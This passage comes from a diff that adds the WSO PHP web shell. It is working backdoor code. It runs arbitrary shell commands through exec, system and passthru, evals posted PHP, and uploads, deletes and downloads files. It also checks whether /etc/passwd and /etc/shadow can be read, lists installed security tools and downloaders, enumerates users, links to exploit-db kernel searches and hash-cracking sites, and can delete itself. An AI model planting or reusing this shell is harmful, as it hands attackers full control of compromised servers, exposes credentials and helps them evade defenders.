d.mf.charset.value=charset_; + } + function g(a,c,p1,p2,p3,charset) { + set(a,c,p1,p2,p3,charset); + d.mf.submit(); + } + function a(a,c,p1,p2,p3,charset) { + set(a,c,p1,p2,p3,charset); + var params = 'ajax=true'; + for(i=0;i<d.mf.elements.length;i++) + params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); + sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params); + } + function sr(url, params) { + if (window.XMLHttpRequest) + req = new XMLHttpRequest(); + else if (window.ActiveXObject) + req = new ActiveXObject('Microsoft.XMLHTTP'); + if (req) { + req.onreadystatechange = processReqChange; + req.open('POST', url, true); + req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); + req.send(params); + } + } + function processReqChange() { + if( (req.readyState == 4) ) + if(req.status == 200) { + var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); + var arr=reg.exec(req.responseText); + eval(arr[2].substr(0, arr[1])); + } else alert('Request error!'); + } + +</script> +<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'> +<form method=post name=mf style='display:none;'> +<input type=hidden name=a> +<input type=hidden name=c> +<input type=hidden name=p1> +<input type=hidden name=p2> +<input type=hidden name=p3> +<input type=hidden name=charset> +</form>"; + $freeSpace = @diskfreespace($GLOBALS['cwd']); + $totalSpace = @disk_total_space($GLOBALS['cwd']); + $totalSpace = $totalSpace?$totalSpace:1; + $release = @php_uname('r'); + $kernel = @php_uname('s'); + $explink = 'http://exploit-db.com/search/?action=search&filter_description='; + if(strpos('Linux', $kernel) !== false) + $explink .= urlencode('Linux Kernel ' . substr($release,0,6)); + else + $explink .= urlencode($kernel . ' ' . substr($release,0,3)); + if(!function_exists('posix_getegid')) { + $user = @get_current_user(); + $uid = @getmyuid(); + $gid = @getmygid(); + $group = "?"; + } else { + $uid = @posix_getpwuid(posix_geteuid()); + $gid = @posix_getgrgid(posix_getegid()); + $user = $uid['name']; + $uid = $uid['uid']; + $group = $gid['name']; + $gid = $gid['gid']; + } + + $cwd_links = ''; + $path = explode("/", $GLOBALS['cwd']); + $n=count($path); + for($i=0; $i<$n-1; $i++) { + $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; + for($j=0; $j<=$i; $j++) + $cwd_links .= $path[$j].'/'; + $cwd_links .= "\")'>".$path[$i]."/</a>"; + } + + $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); + $opt_charsets = ''; + foreach($charsets as $item) + $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; + + $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); + if(!empty($GLOBALS['auth_pass'])) + $m['Logout'] = 'Logout'; + $m['Self remove'] = 'SelfRemove'; + $menu = ''; + foreach($m as $k => $v) + $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>'; + + $drives = ""; + if($GLOBALS['os'] == 'win') { + foreach(range('c','z') as $drive) + if(is_dir($drive.':\\')) + $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; + } + echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>' + . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>') + . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' + . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' + . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">'; +} + +function wsoFooter() { + $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; + echo " +</div> +<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'> + <tr> + <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td> + <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> + </tr><tr> + <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td> + <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> + </tr><tr> + <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td> + <td><form method='post' ENCTYPE='multipart/form-data'> + <input type=hidden name=a value='FilesMAn'> + <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'> + <input type=hidden name=p1 value='uploadFile'> + <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'> + <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td> + </tr></table></div></body></html>"; +} + +if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { + function posix_getpwuid($p) {return false;} } +if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { + function posix_getgrgid($p) {return false;} } + +function wsoEx($in) { + $out = ''; + if (function_exists('exec')) { + @exec($in,$out); + $out = @join("\n",$out); + } elseif (function_exists('passthru')) { + ob_start(); + @passthru($in); + $out = ob_get_clean(); + } elseif (function_exists('system')) { + ob_start(); + @system($in); + $out = ob_get_clean(); + } elseif (function_exists('shell_exec')) { + $out = shell_exec($in); + } elseif (is_resource($f = @popen($in,"r"))) { + $out = ""; + while(!@feof($f)) + $out .= fread($f,1024); + pclose($f); + } + return $out; +} + +function wsoViewSize($s) { + if($s >= 1073741824) + return sprintf('%1.2f', $s / 1073741824 ). ' GB'; + elseif($s >= 1048576) + return sprintf('%1.2f', $s / 1048576 ) . ' MB'; + elseif($s >= 1024) + return sprintf('%1.2f', $s / 1024 ) . ' KB'; + else + return $s . ' B'; +} + +function wsoPerms($p) { + if (($p & 0xC000) == 0xC000)$i = 's'; + elseif (($p & 0xA000) == 0xA000)$i = 'l'; + elseif (($p & 0x8000) == 0x8000)$i = '-'; + elseif (($p & 0x6000) == 0x6000)$i = 'b'; + elseif (($p & 0x4000) == 0x4000)$i = 'd'; + elseif (($p & 0x2000) == 0x2000)$i = 'c'; + elseif (($p & 0x1000) == 0x1000)$i = 'p'; + else $i = 'u'; + $i .= (($p & 0x0100) ? 'r' : '-'); + $i .= (($p & 0x0080) ? 'w' : '-'); + $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); + $i .= (($p & 0x0020) ? 'r' : '-'); + $i .= (($p & 0x0010) ? 'w' : '-'); + $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); + $i .= (($p & 0x0004) ? 'r' : '-'); + $i .= (($p & 0x0002) ? 'w' : '-'); + $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); + return $i; +} + +function wsoPermsColor($f) { + if (!@is_readable($f)) + return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>'; + elseif (!@is_writable($f)) + return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>'; + else + return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>'; +} + +function wsoScandir($dir) { + if(function_exists("scandir")) { + return scandir($dir); + } else { + $dh = opendir($dir); + while (false !== ($filename = readdir($dh))) + $files[] = $filename; + return $files; + } +} + +function wsoWhich($p) { + $path = wsoEx('which ' . $p); + if(!empty($path)) + return $path; + return false; +} + +function actionSecInfo() { + wsoHeader(); + echo '<h1>Server security information</h1><div class=content>'; + function wsoSecParam($n, $v) { + $v = trim($v); + if($v) { + echo '<span>' . $n . ': </span>'; + if(strpos($v, "\n") === false) + echo $v . '<br>'; + else + echo '<pre class=ml1>' . $v . '</pre>'; + } + } + + wsoSecParam('Server software', @getenv('SERVER_SOFTWARE')); + if(function_exists('apache_get_modules')) + wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); + wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); + wsoSecParam('Open base dir', @ini_get('open_basedir')); + wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); + wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); + wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); + $temp=array(); + if(function_exists('mysql_get_client_info')) + $temp[] = "MySql (".mysql_get_client_info().")"; + if(function_exists('mssql_connect')) + $temp[] = "MSSQL"; + if(function_exists('pg_connect')) + $temp[] = "PostgreSQL"; + if(function_exists('oci_connect')) + $temp[] = "Oracle"; + wsoSecParam('Supported databases', implode(', ', $temp)); + echo '<br>'; + + if($GLOBALS['os'] == 'nix') { + wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no'); + wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no'); + wsoSecParam('OS version', @file_get_contents('/proc/version')); + wsoSecParam('Distr name', @file_get_contents('/etc/issue.net')); + if(!$GLOBALS['safe_mode']) { + $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); + $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); + $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); + echo '<br>'; + $temp=array(); + foreach ($userful as $item) + if(wsoWhich($item)) + $temp[] = $item; + wsoSecParam('Userful', implode(', ',$temp)); + $temp=array(); + foreach ($danger as $item) + if(wsoWhich($item)) + $temp[] = $item; + wsoSecParam('Danger', implode(', ',$temp)); + $temp=array(); + foreach ($downloaders as $item) + if(wsoWhich($item)) + $temp[] = $item; + wsoSecParam('Downloaders', implode(', ',$temp)); + echo '<br/>'; + wsoSecParam('HDD space', wsoEx('df -h')); + wsoSecParam('Hosts', @file_get_contents('/etc/hosts')); + echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>'; + if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) { + $temp = ""; + for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { + $uid = @posix_getpwuid($_POST['p2']); + if ($uid) + $temp .= join(':',$uid)."\n"; + } + echo '<br/>'; + wsoSecParam('Users', $temp); + } + } + } else { + wsoSecParam('OS Version',wsoEx('ver')); + wsoSecParam('Account Settings',wsoEx('net accounts')); + wsoSecParam('User Accounts',wsoEx('net user')); + } + echo '</div>'; + wsoFooter(); +} + +function actionPhp() { + if(isset($_POST['ajax'])) { + WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true); + ob_start(); + eval($_POST['p1']); + $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n"; + echo strlen($temp), "\n", $temp; + exit; + } + if(empty($_POST['ajax']) && !empty($_POST['p1'])) + WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0); + + wsoHeader(); + if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) { + echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>'; + ob_start(); + phpinfo(); + $tmp = ob_get_clean(); + $tmp = preg_replace(array ( + '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', + '!td, th {(.*)}!msiU', + '!<img[^>]+>!msiU', + ), array ( + '', + '.e, .v, .h, .h th {$1}', + '' + ), $tmp); + echo str_replace('<h1','<h2', $tmp) .'</div><br>'; + } + echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">'; + echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>'; + if(!empty($_POST['p1'])) { + ob_start(); + eval($_POST['p1']); + echo htmlspecialchars(ob_get_clean()); + } + echo '</pre></div>'; + wsoFooter(); +} + +function actionFilesMan() { + if (!empty ($_COOKIE['f'])) + $_COOKIE['f'] = @unserialize($_COOKIE['f']); + + if(!empty($_POST['p1'])) { + switch($_POST['p1']) { + case 'uploadFile': + if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) + echo "Can't upload file!"; + break; + case 'mkdir': + if(!@mkdir($_POST['p2'])) + echo "Can't create new dir"; + break; + case 'delete': + function deleteDir($path) { + $path = (substr($path,-1)=='/') ? $path:$path.'/'; + $dh = opendir($path); + while ( ($item = readdir($dh) ) !== false) { + $item = $path.$item; + if ( (basename($item) == "..") || (basename($item) == ".") ) + continue; + $type = filetype($item); + if ($type == "dir") + deleteDir($item); + else + @unlink($item); + } + closedir($dh); + @rmdir($path); + } + if(is_array(@$_POST['f'])) + foreach($_POST['f'] as $f) { + if($f == '..') + continue; + $f = urldecode($f); + if(is_dir($f)) + deleteDir($f); + else + @unlink($f); + } + break; + case 'paste': + if($_COOKIE['act'] == 'copy') { + function copy_paste($c,$s,$d){ + if(is_dir($c.$s)){ + mkdir($d.$s); + $h = @opendir($c.$s); + while (($f = @readdir($h)) !== false) + if (($f != ".") and ($f != "..")) + copy_paste($c.$s.'/',$f, $d.$s.'/'); + } elseif(is_file($c.$s)) + @copy($c.$s, $d.$s); + } + foreach($_COOKIE['f'] as $f) + copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']); + } elseif($_COOKIE['act'] == 'move') { + function move_paste($c,$s,$d){ + if(is_dir($c.$s)){ + mkdir($d.$s); + $h = @opendir($c.$s); + while (($f = @readdir($h)) !== false) + if (($f != ".") and ($f != "..")) + copy_paste($c.$s.'/',$f, $d.$s.'/'); + } elseif(@is_file($c.$s)) + @copy($c.$s, $d.$s); + } + foreach($_COOKIE['f'] as $f) + @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f); + } elseif($_COOKIE['act'] == 'zip') { + if(class_exists('ZipArchive')) { + $zip = new ZipArchive(); + if ($zip->open($_POST['p2'], 1)) { + chdir($_COOKIE['c']); + foreach($_COOKIE['f'] as $f) { + if($f == '..') + continue; + if(@is_file($_COOKIE['c'].$f)) + $zip->addFile($_COOKIE['c'].$f, $f); + elseif(@is_dir($_COOKIE['c'].$f)) { + $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/')); + foreach ($iterator as $key=>$value) { + $zip->addFile(realpath($key), $key); + } + } + } + chdir($GLOBALS['cwd']); + $zip->close(); + } + } + } elseif($_COOKIE['act'] == 'unzip') { + if(class_exists('ZipArchive')) { + $zip = new ZipArchive(); + foreach($_COOKIE['f'] as $f) { + if($zip->open($_COOKIE['c'].$f)) { + $zip->extractTo($GLOBALS['cwd']); + $zip->close(); + } + } + } + } elseif($_COOKIE['act'] == 'tar') { + chdir($_COOKIE['c']); + $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']); + wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f'])); + chdir($GLOBALS['cwd']); + } + unset($_COOKIE['f']); + setcookie('f', '', time() - 3600); + break; + default: + if(!empty($_POST['p1'])) { + WSOsetcookie('act', $_POST['p1']); + WSOsetcookie('f', serialize(@$_POST['f'])); + WSOsetcookie('c', @$_POST['c']); + } + break; + } + } + wsoHeader(); + echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>'; + $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); + if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; } + global $sort; + $sort = array('name', 1); + if(!empty($_POST['p1'])) { + if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) + $sort = array($match[1], (int)$match[2]); + } +echo "<script> + function sa() { + for(i=0;i<d.files.elements.length;i++) + if(d.files.elements[i].type == 'checkbox') + d.files.elements[i].checked = d.files.elements[0].checked; + } +</script> +<table width='100%' class='main' cellspacing='0' cellpadding='2'> +<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>"; + $dirs = $files = array(); + $n = count($dirContent); + for($i=0;$i<$n;$i++) { + $ow = @posix_getpwuid(@fileowner($dirContent[$i])); + $gr = @posix_getgrgid(@filegroup($dirContent[$i])); + $tmp = array('name' => $dirContent[$i], + 'path' => $GLOBALS['cwd'].$dirContent[$i], + 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), + 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), + 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), + 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), + 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) + ); + if(@is_file($GLOBALS['cwd'] . $dirContent[$i])) + $files[] = array_merge($tmp, array('type' => 'file')); + elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i])) + $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path']))); + elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != ".")) + $dirs[] = array_merge($tmp, array('type' => 'dir')); + } + $GLOBALS['sort'] = $sort; + function wsoCmp($a, $b) { + if($GLOBALS['sort'][0] != 'size') + return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); + else + return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); + } + usort($files, "wsoCmp"); + usort($dirs, "wsoCmp"); + $files = array_merge($dirs, $files); + $l = 0; + foreach($files as $f) { + echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'] + .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>'; + $l = $l?0:1; + } + echo "<tr><td colspan=7> + <input type=hidden name=a value='FilesMan'> + <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'> + <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'> + <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>"; + if(class_exists('ZipArchive')) + echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>"; + echo "<option value='tar'>Compress (tar.gz)</option>"; + if(!empty($_COOKIE['act']) && @count($_COOKIE['f'])) + echo "<option value='paste'>Paste / Compress</option>"; + echo "</select>&nbsp;"; + if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) + echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;"; + echo "<input type='submit' value='>>'></td></tr></form></table></div>"; + wsoFooter(); +} + +function actionStringTools() { + if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} + if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}} + if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} + if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}} + if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}} + $stringTools = array( + 'Base64 encode' => 'base64_encode', + 'Base64 decode' => 'base64_decode', + 'Url encode' => 'urlencode', + 'Url decode' => 'urldecode', + 'Full urlencode' => 'full_urlencode', + 'md5 hash' => 'md5', + 'sha1 hash' => 'sha1', + 'crypt' => 'crypt', + 'CRC32' => 'crc32', + 'ASCII to HEX' => 'ascii2hex', + 'HEX to ASCII' => 'hex2ascii', + 'HEX to DEC' => 'hexdec', + 'HEX to BIN' => 'hex2bin', + 'DEC to HEX' => 'dechex', + 'DEC to BIN' => 'decbin', + 'BIN to HEX' => 'binhex', + 'BIN to DEC' => 'bindec', + 'String to lower case' => 'strtolower', + 'String to upper case' => 'strtoupper', + 'Htmlspecialchars' => 'htmlspecialchars', + 'String length' => 'strlen', + ); + if(isset($_POST['ajax'])) { + WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); + ob_start(); + if(in_array($_POST['p1'], $stringTools)) + echo $_POST['p1']($_POST['p2']); + $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; + echo strlen($temp), "\n", $temp; + exit; + } + if(empty($_POST['ajax'])&&!empty($_POST['p1'])) + WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); + wsoHeader(); + echo '<h1>String conversions</h1><div class=content>'; + echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>"; + foreach($stringTools as $k => $v) + echo "<option value='".htmlspecialchars($v)."'>".$k."</option>"; + echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>"; + if(!empty($_POST['p1'])) { + if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2'])); + } + echo"</pre></div><br><h1>Search files:</h1><div class=content> + <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'> + <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr> + <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr> + <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr> + <tr><td></td><td><input type='submit' value='>>'></td></tr> + </table></form>"; + + function wsoRecursiveGlob($path) { + if(substr($path, -1) != '/') + $path.='/'; + $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR))); + if(is_array($paths)&&@count($paths)) { + foreach($paths as $item) { + if(@is_dir($item)){ + if($path!=$item) + wsoRecursiveGlob($item); + } else { + if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false) + echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>"; + } + } + } + } + if(@$_POST['p3']) + wsoRecursiveGlob($_POST['c']); + echo "</div><br><h1>Search for hash:</h1><div class=content> + <form method='post' target='_blank' name='hf'> + <input type='text' name='hash' style='width:200px;'><br> + <input type='hidden' name='act' value='find'/> + <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br> + <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br> + <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br> + </form></div>"; + wsoFooter(); +} + +function actionFilesTools() { + if( isset($_POST['p1']) ) + $_POST['p1'] = urldecode($_POST['p1']); + if(@$_POST['p2']=='download') { + if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { + ob_start("ob_gzhandler", 4096); + header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); + if (function_exists("mime_content_type")) { + $type = @mime_content_type($_POST['p1']); + header("Content-Type: " . $type); + } else + header("Content-Type: application/octet-stream"); + $fp = @fopen($_POST['p1'], "r"); + if($fp) { + while(!@feof($fp)) + echo @fread($fp, 1024); + fclose($fp); + } + }exit; + } + if( @$_POST['p2'] == 'mkfile' ) { + if(!file_exists($_POST['p1'])) { + $fp = @fopen($_POST['p1'], 'w'); + if($fp) { + $_POST['p2'] = "edit"; + fclose($fp); + } + } + } + wsoHeader(); + echo '<h1>File tools</h1><div class=content>'; + if( !file_exists(@$_POST['p1']) ) { + echo 'File not exists'; + wsoFooter(); + return; + } + $uid = @posix_getpwuid(@fileowner($_POST['p1'])); + if(!$uid) { + $uid['name'] = @fileowner($_POST['p1']); + $gid['name'] = @filegroup($_POST['p1']); + } else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); + echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>'; + echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>'; + if( empty($_POST['p2']) ) + $_POST['p2'] = 'view'; + if( is_file($_POST['p1']) ) + $m = 